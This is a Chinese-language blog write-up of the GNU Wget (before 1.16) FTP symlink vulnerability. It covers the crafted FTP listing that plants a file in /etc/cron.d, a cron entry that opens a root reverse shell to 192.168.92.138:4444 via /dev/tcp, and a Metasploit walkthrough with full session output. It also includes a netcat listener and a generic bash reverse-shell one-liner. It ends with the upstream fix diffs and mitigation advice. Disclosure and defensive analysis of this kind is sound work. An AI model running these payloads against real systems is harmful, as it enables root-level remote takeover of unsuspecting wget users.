0x00链接:
[1]发现者:https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access[2] Wget repo: http://git.savannah.gnu.org/cgit/wget.git/
[3] Fix: http://git.savannah.gnu.org/cgit/wget.git/commit/?id=18b0979357ed7dc4e11d4f2b1d7e0f5932d82aa7
[4] Bug report: https://bugzilla.redhat.com/show_bug.cgi?id=1139181
0x01描述:
方向:FTP server -> wget client攻击者通过操纵ftp服务器可以在wget用户端环境创建任意的文件、目录以及链接。通过符号链接攻击,攻击者以wget的运行权限访问客户端整个文件系统,覆盖文件内容(包括二进制文件)。这个漏洞还能通过系统的cron设置或用户级别的(bash profile, SSH authorized_keys)设置触发远程代码执行。
0x02原理:
wget < 1.16,retr-symlinks 缺省设置为off/no,当客户端wget在递归下载ftp服务器上的目录时,如果存在符号链接文件,该链接文件不会被下载,而是在客户端本地创建一个指向同样位置的符号链接。同时链接指向的文件不会下载,除非该文件位于递归下载的遍历目录下。服务器端
1) 构造某链接(例如HSZ4ttRBxOWbz),可以指向任意位置(危险!)例如/etc/cron.d/这个可以在wget与ftp服务器会话过程中,构造非法的 'ls' 内容,响应LIST -a:
# cat .listing /* wget客户端得到这个ls响应,并存在本地*/
total 155
lrwxrwxrwx 1 root root 33 Feb 7 2013 HSZ4ttRBxOWbz -> /etc/cron.d
drwxrwxr-x 15 root root 4096 Feb 7 2013 HSZ4ttRBxOWbz
2) 在链接指向的目录下放上任意内容,例如执行反连shell的定时任务cronshell
为达到这个目的,需要在ls响应中,构造一个和链接文件同名的目录项,并在该目录下放置cronshell
# cat .listing
total 155
lrwxrwxrwx 1 root root 33 Feb 7 2013 HSZ4ttRBxOWbz -> /etc/cron.d
drwxrwxr-x 15 root root 4096 Feb 7 2013 HSZ4ttRBxOWbz
至此,覆盖修改客户端的目的已达到,以下是进一步在客户端触发远程代码执行,如反向shell连接.
3) [optional]构造cronshell:
反连shell的命令
# cat cronshell
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root bash -c '0<&108-;exec 108<>/dev/tcp/192.168.92.138/4444;sh <&108 >&108 2>&108'; rm -f /etc/cron.d/cronshell
4)[optional]在指定端口监听反连请求,例如nc -n -vv -l -p 4444
客户端
wget –m ftp://192.168.92.138:21/ (很正常的命令,无辜啊)
0x03 PoC运行实况:
服务器端用metasploit
/* 生成反连shell的payload代码, 并写入cronshell*/
root@kali:~# msfpayload cmd/unix/reverse_bash LHOST=192.168.92.138 LPORT=4444 R
0<&108-;exec 108<>/dev/tcp/192.168.92.138/4444;sh <&108 >&108 2>&108
root@kali:~# cat > cronshell << EOD
> PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
> * * * * * root bash -c '0<&108-;exec 108<>/dev/tcp/192.168.92.138/4444;sh <&108 >&108 2>&108'; rm -f /etc/cron.d/cronshell
> EOD
/*在指定端口4444监听反连请求*/
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash
PAYLOAD => cmd/unix/reverse_bash
msf exploit(handler) > set LHOST 192.168.92.138
LHOST => 192.168.92.138
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.92.138:4444
[*] Starting the payload handler...
/* Download https://github.com/rapid7/metasploit-framework/raw/master/modules/auxiliary/server/wget_symlink_file_write.rb, play it */
/* 监听21,模拟ftp服务,构造.listing文件 */
msf exploit(handler) > use auxiliary/server/wget_symlink_file_write
msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell
TARGET_FILE => /etc/cron.d/cronshell
msf auxiliary(wget_symlink_file_write) > set TARGET_DATA file:cronshell
TARGET_DATA => file:cronshell
msf auxiliary(wget_symlink_file_write) > set SRVPORT 21
SRVPORT => 21
msf auxiliary(wget_symlink_file_write) > run
[*] Auxiliary module execution completed
[+] Targets should run: $ wget -m ftp://192.168.92.138:21/
[*] Server started.
/* 至此,等待wget客户端的请求wget –m ftp://192.168.92.138:21/ */
msf auxiliary(wget_symlink_file_write) > [*] 192.168.92.238:36210 Logged in with user 'anonymous' and password 'anonymous'...
[*] 192.168.92.238:36210 -> LIST -a
[*] 192.168.92.238:36210 -> CWD /HSZ4ttRBxOWbz
[*] 192.168.92.238:36210 -> LIST -a
[*] 192.168.92.238:36210 -> RETR cronshell
/* cronshell写入客户端/etc/cron.d */
[+] 192.168.92.238:36210 Hopefully wrote 189 bytes to /etc/cron.d/cronshell
/* 客户端执行了反连请求 */
msf auxiliary(wget_symlink_file_write) > [*] Command shell session 1 opened (192.168.92.138:4444 -> 192.168.92.238:44994) at 2014-10-29 03:30:32 -0400
msf auxiliary(wget_symlink_file_write) > sessions -i 1
[*] Starting interaction with 1...
/* 通过网络,发送任意命令到客户端执行*/
id
客户端以root权限运行
wget –m ftp://192.168.92.138:21/
[root@CTF ~]# wget -m ftp://192.168.92.138:21/
--2014-10-25 11:33:40-- ftp://192.168.92.138/
=> “192.168.92.138/.listing”
Connecting to 192.168.92.138:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD not needed.
==> PASV ... done. ==> LIST ... done.
[ <=> ] 166 --.-K/s in 0s
2014-10-25 11:33:40 (22.6 MB/s) - “192.168.92.138/.listing” saved [166]
Creating symlink “192.168.92.138/HSZ4ttRBxOWbz” -> “192.168.92.138/HSZ4ttRBxOWbz”
--2014-10-25 11:33:40-- ftp://192.168.92.138/HSZ4ttRBxOWbz/
=> “192.168.92.138/HSZ4ttRBxOWbz/.listing”
==> CWD (1) /HSZ4ttRBxOWbz ... done.
==> PASV ... done. ==> LIST ... done.
[ <=> ] 76 --.-K/s in 0s
2014-10-25 11:33:40 (11.2 MB/s) - “192.168.92.138/HSZ4ttRBxOWbz/.listing” saved [76]
--2014-10-25 11:33:40-- ftp://192.168.92.138/HSZ4ttRBxOWbz/cronshell
=> “192.168.92.138/HSZ4ttRBxOWbz/cronshell”
==> CWD not required.
==> PASV ... done. ==> RETR cronshell ... done.
Length: 189
100%[======================================>] 189 --.-K/s in 0s
2014-10-25 11:33:41 (27.1 MB/s) - “192.168.92.138/HSZ4ttRBxOWbz/cronshell” saved [189]
FINISHED --2014-10-25 11:33:41--
Downloaded: 3 files, 431 in 0s (20.4 MB/s)
[root@CTF ~]# ls -l /etc/cron.d/
total 28
-rw-r--r--. 1 root root 113 Nov 23 2013 0hourly
-rwx------. 1 root root 189 Sep 14 2013 cronshell
-rw-r--r--. 1 root root 108 Oct 11 2013 raid-check
-rw-r--r--. 1 root root 235 Nov 22 2013 sysstat
[root@CTF ~]# cat /etc/cron.d/cronshell
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root bash -c '0<&108-;exec 108<>/dev/tcp/192.168.92.138/4444;sh <&108 >&108 2>&108'; rm -f /etc/cron.d/cronshell
0x04 相关代码
两个commit。
1)http://git.savannah.gnu.org/cgit/wget.git/commit/?id=18b0979357ed7dc4e11d4f2b1d7e0f5932d82aa7
这个提交就是将符号链接下载的缺省设置改为不在本地创建链接。commit中真正的代码修改只有一行:opt.retr_symlinks = true
diff --git a/src/init.c b/src/init.c
index 09557af..3bdaa48 100644
--- a/src/init.c
+++ b/src/init.c
@@ -366,6 +366,22 @@ defaults (void)
opt.dns_cache = true;
opt.ftp_pasv = true;
+ /* 2014-09-07 Darshit Shah <darnir@gmail.com>
+ * opt.retr_symlinks is set to true by default. Creating symbolic links on the
+ * local filesystem pose a security threat by malicious FTP Servers that
+ * server a specially crafted .listing file akin to this:
+ *
+ * lrwxrwxrwx 1 root root 33 Dec 25 2012 JoCxl6d8rFU -> /
+ * drwxrwxr-x 15 1024 106 4096 Aug 28 02:02 JoCxl6d8rFU
+ *
+ * A .listing file in this fashion makes Wget susceptiple to a symlink attack
+ * wherein the attacker is able to create arbitrary files, directories and
+ * symbolic links on the target system and even set permissions.
+ *
+ * Hence, by default Wget attempts to retrieve the pointed-to files and does
+ * not create the symbolic links locally.
+ */
+ opt.retr_symlinks = true;
2)http://git.savannah.gnu.org/cgit/wget.git/commit/?id=69c45cba4382fcaabe3d86876bd5463dc34f442c
这个提交主要增加了is_invalid_entry检查,防止.listing文件中存在同名的情况,这样即使在本地创建链接,也无法通过同名目录,修改该链接指向的目录下的内容。
diff --git a/src/ftp.c b/src/ftp.c
index 2d54333..054cb61 100644
--- a/src/ftp.c
+++ b/src/ftp.c
@@ -2211,6 +2211,29 @@ has_insecure_name_p (const char *s)
return false;
}
+/* Test if the file node is invalid. This can occur due to malformed or
+ * maliciously crafted listing files being returned by the server.
+ *
+ * Currently, this function only tests if there are multiple entries in the
+ * listing file by the same name. However this function can be expanded as more
+ * such illegal listing formats are discovered. */
+static bool
+is_invalid_entry (struct fileinfo *f)
+{
+ struct fileinfo *cur;
+ cur = f;
+ char *f_name = f->name;
+ /* If the node we're currently checking has a duplicate later, we eliminate
+ * the current node and leave the next one intact. */
+ while (cur->next)
+ {
+ cur = cur->next;
+ if (strcmp(f_name, cur->name) == 0)
+ return true;
+ }
+ return false;
+}
+
/* A near-top-level function to retrieve the files in a directory.
The function calls ftp_get_listing, to get a linked list of files.
Then it weeds out the file names that do not match the pattern.
@@ -2248,11 +2271,11 @@ ftp_retrieve_glob (struct url *u, ccon *con, int action)
f = f->next;
}
}
- /* Remove all files with possible harmful names */
+ /* Remove all files with possible harmful names or invalid entries. */
f = start;
while (f)
{
- if (has_insecure_name_p (f->name))
+ if (has_insecure_name_p (f->name) || is_invalid_entry (f))
{
logprintf (LOG_VERBOSE, _("Rejecting %s.\n"),
quote (f->name));
0x05 小结:
类型:symlink attack
条件:
ftp server: 在 'ls' 响应中,构造包含同名的链接和目录的记录
wget < 1.16 递归下载并且 retr-symlinks 为 off/no
级别:
危害性:高
可能性:高
解决方法:retr-symlinks=on
当--retr-symlinks设置为on/yes时,符号链接指向的文件会被下载,也就不存在在本地创建任意符号链接的问题。 /* 如果指向的是目录,当前最新版本没有实现递归下载 */
建议:任选其一
1) 升级至1.16 ftp://ftp.gnu.org/gnu/wget/wget-1.16.tar.gz
2) Patch 链接[2]
3) add "retr-symlinks=on" in /etc/wgetrc or ~/.wgetrc
0x06 相关技术:
1) Reverse shell example:
Attacker: [192.168.1.168]
nc -n -vv -l -p 8848
Victim: [192.168.1.110]
/bin/bash -i > /dev/tcp/192.168.1.168/8848 0<&1 2>&1
2) metasploit
No comments:
Post a Comment